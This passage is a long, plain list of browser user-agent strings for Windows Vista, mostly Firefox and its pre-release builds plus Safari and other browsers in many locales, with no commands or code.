rv:1.9.2a1) Gecko/20090806 Namoroka/3.6a1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2a1pre) Gecko/20081222 Fennec/1.0a2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2a1pre) Gecko/20090207 Minefield/3.2a1pre Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2a1pre) Gecko/20090210 Minefield/3.2a1pre Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2a1pre) Gecko/20090226 Minefield/3.2a1pre Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2a1pre) Gecko/20090306 Minefield/3.2a1pre Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2a1pre) Gecko/20090324 Minefield/3.6a1pre Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2a1pre) Gecko/20090401 Minefield/3.6a1pre Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2a1pre) Gecko/20090407 Minefield/3.6a1pre Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2a1pre) Gecko/20090411 Minefield/3.6a1pre (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2a1pre) Gecko/20090420 Minefield/3.6a1pre (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2a1pre) Gecko/20090707 Minefield/3.6a1pre (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2a2pre) Gecko/20090826 Namoroka/3.6a2pre Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.3a1pre) Gecko/20090829 Minefield/3.7a1pre (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.3a1pre) Gecko/20091118 Minefield/3.7a1pre (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.3a3pre) Gecko/20100312 Minefield/3.7a3pre Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9a5pre) Gecko/20070428 Minefield/3.0a5pre Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9a6pre) Gecko/20070615 Minefield/3.0a6pre Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9a9pre) Gecko/2007092705 Minefield/3.0a9pre Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9b4pre) Gecko/2008030210 Firefox/2.0.0.14 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9pre) Gecko/2008050715 Thunderbird/3.0a1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:2.0a1pre) Gecko/2008032002 Minefield/4.0a1pre Mozilla/5.0 (Windows; U; Windows NT 6.0; en-gb) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-us) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9 Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1b4pre) Gecko/20090419 SeaMonkey/2.0b1pre Mozilla/5.0 (Windows; U; Windows NT 6.0; en_US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; es-AR; rv:1.9) Gecko/2008052906 Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; es-AR; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; es-AR; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; es-AR; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.8.1.14) Gecko/20080406 K-Meleon/1.1.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.8.1.17pre) Gecko/20080716 K-Meleon/1.5.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9) Gecko/2008052906 Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.2) Gecko/20100115 Firefox/3.6 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.2.13) Gecko/20101203 AskTbFXTV5/3.9.1.14019 Firefox/3.6.13 ( .NET CLR 3.5.30729) FBSMTWB Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; es-MX; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; es-es) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; fi) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; fi; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; fi; rv:1.9) Gecko/2008052906 Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; fi; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; fi; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR; rv:1.8.1.14) Gecko/20080406 K-Meleon/1.1.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-ch) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.12) Gecko/2009070611 Firefox/2.0.0.12;MEGAUPLOAD 1.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.8) Gecko/2009032609 Firefox/2.0.0.11;MEGAUPLOAD 1.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.5;MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) FirePHP/0.2.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.1.17) Gecko/20110123 SeaMonkey/2.0.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.1b1) Gecko/20081007 Firefox/3.1b1 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.16) Gecko/20110319 Firefox/3.0.3;MEGAUPLOAD 1.0 GTB7.1 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9b3pre) Gecko/2008011205 Minefield/3.0b3pre Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528+ (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; he; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; he; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; hu-HU) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; hu-HU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; hu-HU) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; hu; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; hu; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; hu; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 Mozilla/5.0 (Windows; U; Windows NT 6.0; id; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; it-IT; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; it-IT; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.8.1.17) Gecko/20080922 Firefox/2.0.0.17 Flock/1.2.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.6;MEGAUPLOAD 1.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 GTB7.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.2.12) Gecko/20101114 IceCat/3.6.12 (like Firefox/3.6.12) Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 (.NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.2.16) Gecko/20110325 Firefox/3.6.16 CometBird/3.6.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/528+ (KHTML, like Gecko, Safari/528.0) Lunascape/5.0.3.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/528+ (KHTML, like Gecko, Safari/528.0) Lunascape/5.1.1.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/528+ (KHTML, like Gecko, Safari/528.0) Lunascape/5.1.2.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.1) Gecko/20090624 Firefox/3.5 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.1.15) Gecko/20101029 Firefox/3.5.15 Lunascape/6.3.4.23051 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 GTB6 Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.2.12) Gecko/20101029 Firefox/3.6.12 Lunascape/6.3.4.23051 ( .NET CLR 3.5.30729; .NET4.0C) Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.0 ( .NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.3a5pre) Gecko/20100605 Minefield/3.7a5pre ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ko; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; ko; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ko; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; ko; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; ko; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; ko; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; ko; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 6.0; ko; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; nb-NO) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; nb-NO; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; nb-NO; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; nb-NO; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; nb-NO; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; nb-NO; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; nl) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; nl) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.1) Gecko/20090624 Firefox/3.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; pl-PL) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 Mozilla/5.0 (Windows; U; Windows NT 6.0; pl-PL) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.8.1.14) Gecko/20080519 Firefox/2.0.0.14 Flock/1.2.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9) Gecko/2008052906 Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 GTB7.1 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.2) Gecko/20100115 Firefox/3.6 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 Mozilla/5.0 (Windows; U; Windows NT 6.0; pt-BR; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; pt-BR; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (Windows; U; Windows NT 6.0; pt-BR; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 Mozilla/5.0 (Windows; U; Windows NT 6.0; pt-BR; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 6.0; pt-BR; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; pt-BR; rv:1.9.1) Gecko/20090624 Firefox/3.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; pt-BR; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; pt-PT; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; pt-PT; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; pt-PT; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; pt-PT; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ro; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ro; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ru-RU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12; MEGAUPLOAD 2.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.8.1.12; SV1; MEGAUPLOAD 2.0) 